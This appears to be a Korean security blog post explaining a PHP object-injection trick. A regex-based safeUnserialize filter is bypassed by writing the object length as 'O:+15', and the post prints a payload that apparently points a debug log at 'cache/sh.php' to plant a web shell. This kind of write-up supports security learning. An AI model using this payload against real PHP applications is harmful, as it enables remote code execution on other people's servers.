Hacking/Web.

i0n1c object injection bypass

2018. 7. 9. 08:19



레드벨벳 아이린


최근에 websec.fr 문제를 풀다가 i0n1c's object injection bypassing 기법을 알게 되었는데 유용한 트릭같아서 블로그에 공유해본다. 


static public function safeUnserialize( $serialized )
    {
        // unserialize will return false for object declared with small cap o
        // as well as if there is any ws between O and :
        if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
        {
            if ( strpos( $serialized, 'O:' ) === false )
            {
                // the easy case, nothing to worry about
                // let unserialize do the job
                return @unserialize( $serialized );
            }
            else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
            {
                // in case we did have a string with O: in it,
                // but it was not a true serialized object
                return @unserialize( $serialized );
            }
        }
 
        return false;
    }
 

첫번째 'O:' 는 우회하지 못하는데 두 번째 if 문에서 취약점이 발생하게 된다. 


[*] payload : a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}


 페이로드를 보게 되면, O:+15 의 부분을 볼 수가 있는데 이런 형식으로 정규식을 우회하여 결국엔 unserialize() 함수를 사용할 수 있게 된다. 해당 payload가 exploitable한 이유는 +15가 양의 정수 15를 의미하기 때문이다. (+15 == 15) 


 unserialize 함수가 실행되면 당연히 __destruct()나 __wakeup() 같은 특수 함수들을 사용할 수 있게 되기 때문에 취약점에 바로 노출된다. 



응용해서 다음 페이로드도 성립함을 알 수 있다. 



 뭐 근데 이런 페이로드가 진짜로 쓰일 일은 없고 ㅋㅋㅋㅋ



해당 트릭을 이용해서 Prestashop application의 취약점을 찾은 일도 있다. 꽤 파급력이 큰 취약점인 듯ㅋㅋㅋㅋ


http://119.3.12.182/wordpress/?p=9013

'Hacking > Web.' 카테고리의 다른 글

XSS on HTTPonly  (0) 2018.08.10
워게임 아이디어  (0) 2018.07.11
php parse_url bug #54369  (0) 2018.07.03
php parse_url bug #74780  (0) 2018.07.03
PHP iconv file upload bug  (0) 2018.04.03